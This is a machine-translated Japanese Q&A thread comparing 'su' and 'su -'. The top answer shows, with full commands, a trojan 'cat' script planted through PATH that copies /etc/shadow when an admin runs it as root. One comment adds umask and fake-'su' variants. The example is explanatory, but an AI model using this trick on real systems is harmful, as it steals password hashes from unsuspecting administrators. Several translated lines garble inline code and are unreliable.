なぜsuを使用するのですか?suだけではありませんか?


回答:


241

su -ユーザーを切り替えた後にログインシェルを呼び出します。ログインシェルはほとんどの環境変数をリセットし、クリーンなベースを提供します。

su ユーザーを切り替えるだけで、通常のシェルに古いユーザーとほぼ同じ環境が提供されます。

あなたがマシンへの通常のユーザーアクセスを持つソフトウェア開発者であり、あなたの無知な管理者があなたにrootアクセスを与えないことを想像してください。(うまくいけば)彼をだまそう。

$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0

$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"

ここcatで、ホームフォルダーにダミーファイルを作成できない理由を管理者に尋ねます。それは機能しません。

$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!

あなたの管理者がそれほど頭が良くない、または少し怠けている場合、彼はあなたの机に来て彼のスーパーユーザーの力を試してみるかもしれません:

$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit

うわー!ありがとう、スーパー管理者!

$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy

彼、彼。

破損した$PATH変数がリセットされていないことに気付いたかもしれません。管理者がsu -代わりに呼び出した場合、これは起こりませんでした。


10
su --はと同じsuです。
ミケル

12
-は、ほとんどのプログラムが「これ以降はフラグとみなすべきではない」と解釈するフラグです。ダッシュで始まるもののグレーピングに役立ちます。
デビッドマッキントッシュ

2
umask000などを設定することを忘れないでください。そうしないと機能しません。
レーケンシュタイン

10
suPATH内にファイルを置くこともできます。本物の振る舞いをまねることはそれほど難しくありませんsu。とにかくスーパーユーザーは不注意
StéphaneGimenez

10
su --次と同じではありませんsu ---getopt(s)(または同様の)オプションハンドラーに、オプションの追加のためにコマンドラインの処理を停止するよう指示します(たとえば、残りに「-」で始まるファイル名が含まれている場合に役立ちます)。「RM -i - -f」、すなわち、:そしてようにここでは、通常の引数として扱われる-f ファイルの名前rm -i、そしてない additionnalなど-fのオプションrmのコマンド。だから、そうでsu --suありませんsu -!だからsu --、ワグによる(面白いと有益な)例のギバンにとって安全ではありません。を使用しsu -ます。
オリビエデュラック

35

su -rootとして完全にログインしますが、rootにsuなりすますようにします。

これの最も明白な例は~、を使用する場合はルートのホームディレクトリですがsu -、を使用する場合は独自のホームディレクトリですsu

システムによっては、プロンプト、、PATHまたは履歴ファイルの違いも意味する場合があります。

あなたがシステムを管理するチームの一員であり、あなたの同僚があなたに実行するコマンドを与えた場合、あなたが両方を使用している場合は同じように動作しますsu -が、あなたが両方を使用している場合、あなたがsu持っているために違いがあるかもしれません異なるシェル構成。

一方、コマンドをrootとして実行したいが、独自の構成を使用したい場合は、おそらくsuより良いでしょう。

またsudo、を忘れないでください。これには、-srootとして実行されているシェルを起動するオプションがあります。もちろん、これには異なるルールもあり、使用しているディストリビューションに応じて変更されます。


1
「su」を実行すると、〜と$ HOMEの両方が/ rootに評価されます。説明する動作は、特定のシェルまたはOSバージョンなどに固有のものですか?〜はカーネルによって拡張できることを理解しています。私は(そしてルートの)シェルとしてzshを持っています。
ジェイソンウーフ

あなた.bashrcまたは/etc/bashrcまたは/etc/profile.dスクリプトが設定されていますPATHif [ $UID -eq 0 ]またはそのようなものを探してください。
Mikel

$USERたとえば、変更されないままです。
ペテルフ14年

1
どうsudo su
サイモンクアン14

1
あなたの例は私にはうまくいきません。どちらの方法でも同じディレクトリが解決されます。
ダニエルW.

1

suを使用します。通常のユーザーとしてディレクトリにいるが、ルートに切り替えて、切り替え後も同じディレクトリにとどまる場合です。suを使用すると、ユーザーがrootに切り替わり、ルートホームディレクトリである/ rootに移動します。


または/、ルートのホームディレクトリとして定義されているもの
ジェフシャラー

-1

主な違いは次のとおりです。

su - username 指定されたユーザーとしてクリーンログインであるかのようにシェル環境を設定し、指定されたユーザーの環境変数にアクセスして使用します。

su username 指定されたユーザーの現在の環境設定でシェルを起動するだけです。

suおよびsu -でユーザー名が指定されていない場合、ルートアカウントがデフォルトとして暗黙指定されます。

弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.